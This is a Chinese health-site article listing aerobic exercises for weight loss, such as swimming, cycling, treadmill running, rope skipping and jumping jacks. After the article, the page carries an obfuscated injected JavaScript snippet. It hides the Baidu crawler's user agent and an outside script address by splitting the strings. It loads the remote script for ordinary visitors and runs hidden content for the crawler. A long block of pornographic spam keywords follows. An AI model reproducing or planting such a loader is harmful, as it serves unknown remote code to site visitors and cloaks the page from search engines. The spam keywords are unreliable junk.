當前位置:首頁 > 減肥 > 運動減肥 > 正文

減肥有氧運動有哪些呢?

2017-04-21 16:07:45  來源:360常識網   熱度:
導語:現在肥胖人群逐年正在呈現上升趨勢,走在大街上,隨時可以發現一些肥胖的人,導致肥胖的主要原因,除了跟飲食有很大關系以外,另外跟平時不

現在肥胖人群逐年正在呈現上升趨勢,走在大街上,隨時可以發現一些肥胖的人,導致肥胖的主要原因,除了跟飲食有很大關系以外,另外跟平時不愛運動也脫不了關系,所以有很多肥胖的人都已經認識到了運動的重要性,尤其是有氧運動,那么減肥有氧運動都有哪些呢?跟著小編一起來看一看吧!

對減肥最有效的運動就是有氧運動,尤其是消耗能量較多的運動。例如慢跑、爬山、快步走、球類運動、游泳等有氧運動減肥,每次運動最好一次持續做完,中間不要停止,且每次運動消耗熱量須達300仟卡,通常這種運動量會造成心跳加快,或流汗的程度,這些都是有氧運動減肥的范疇。

各種有氧健身操

小編其實并不主張初習者或體能條件不好的朋友跳有氧操減肥,太簡單的達不到心率要求,比較復雜的對身體的力量,靈活性,柔韌性要求都較高,一般人根本做不到,如果動作不到位,也沒什么效果,還容易造成傷害,雖然現在有各種十分吸引人的有氧操,但我建議沒有體能條件的朋友不要用有氧操作為減肥的方法。

游泳

游泳是一種很好的全身性運動瘦身方式,并且對提高心肺功能十分有效,只是很多人不太會游泳,那么可以用在游泳池中快走來替代,這對提高心率效果非常好。不過會游泳的朋友也請注意用游泳來減肥,不是游泳比賽,不要追求速度,達到心率要求就可以了,同時還一定要注意足夠的攝氧量。

單車

現在很多健身房都有動感單車,這些單車的設計非常適合有氧訓練,但一般單車訓練室都太小,很多人在以前訓練時,房間里很容易缺氧,雖然健身房這樣設計是為了提高環境溫度,使運動者大量出汗提高減肥功效。但我贊成在減肥的同時放棄健康的做法。如果戶外騎車減肥的話,建議選用山地車(只是城市里有限速,環境也不太好)。

跑步(快走)

戶外跑步會受環境限制,選擇跑步機也挺好,放開跑步機扶的手能增加8%的氧利用率和5%的心率,當然首先要在保證平衡的前提下才放開扶手,選擇一定坡度的跑步機能提高減肥效果。在跑步機上使用間隔法鍛煉,即可以用高速鍛煉一會,轉而至較低速度循環練習。

跳繩

跳繩簡單易學,器械也簡單,一小塊空地就可以鍛煉,是非常好的有氧運動,可以說是物美價廉。跳繩能在幾分鐘內提高心率和呼吸頻率,能在短時間內減輕體重。職業拳擊手通常跳繩作為賽前有氧減脂的主要內容,同時也能鍛煉全身的協調性和靈敏度。

跳爆竹

通過跳爆竹進行熱身使心率達到一定水平,為接下來進行更劇烈的運動做好準備。在做完全身伸展后做5分鐘的跳爆竹(一種跳躍運動)可以調節和協調身體。跳爆竹可以使肩膀、背部、大腿和小腿都運動起來,因而不僅可以改善體力和耐力,還可以很好的瘦腿。

上面是有關減肥有氧運動的一些介紹,其實許多運動只要按照運動量來說,都可以算作有氧運動,如果想要通過有氧運動來達到減肥的目的的話,最好選擇自己喜歡的一兩種,比如可以采取跑步的方式,跳繩方式,游泳等等,只要堅持住,都可以取得很好的減肥功效。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲一区二区三区国产精品无码| mm1313亚洲国产精品美女| 久久99精品久久久久久9蜜桃| 亚洲乱人伦精品图片| 国产综合精品久久亚洲| 亚洲色在线无码国产精品不卡| 亚洲日韩精品A∨片无码| 国产精品四虎在线观看免费| 久久久精品2019免费观看| 久久精品国产精品亚洲人人| 亚洲国产精品美女久久久久| 亚洲嫩草影院久久精品| 精品人妻一区二区三区毛片 | 中文精品久久久久国产网址| 国产精品麻豆入口| 99久久婷婷国产综合精品| 99久久精品国产亚洲| 日本无码小泬粉嫩精品图| 四虎精品亚洲一区二区三区| 模特私拍国产精品久久| 99热精品在线免费观看| 在线观看亚洲精品福利片| 国产99视频精品草莓免视看| 精品久久久久久蜜臂a∨| 久久久久久亚洲精品中文字幕 | 四虎国产精品免费久久影院| 久热爱精品视频线路一| 精品视频无码一区二区三区| 亚洲精品无码成人AAA片| 老司机免费午夜精品视频 | 青草国产精品久久久久久| 三级精品视频在线播放| 亚洲国产主播精品极品网红 | 国产午夜亚洲精品理论片不卡| 国产精品一区二区香蕉| 国产精品无码久久综合网| 久久这里只精品99re66| 精品国偷自产在线| 2020精品国产自在现线看| 日韩精品极品视频在线观看免费| 亚洲日韩一页精品发布|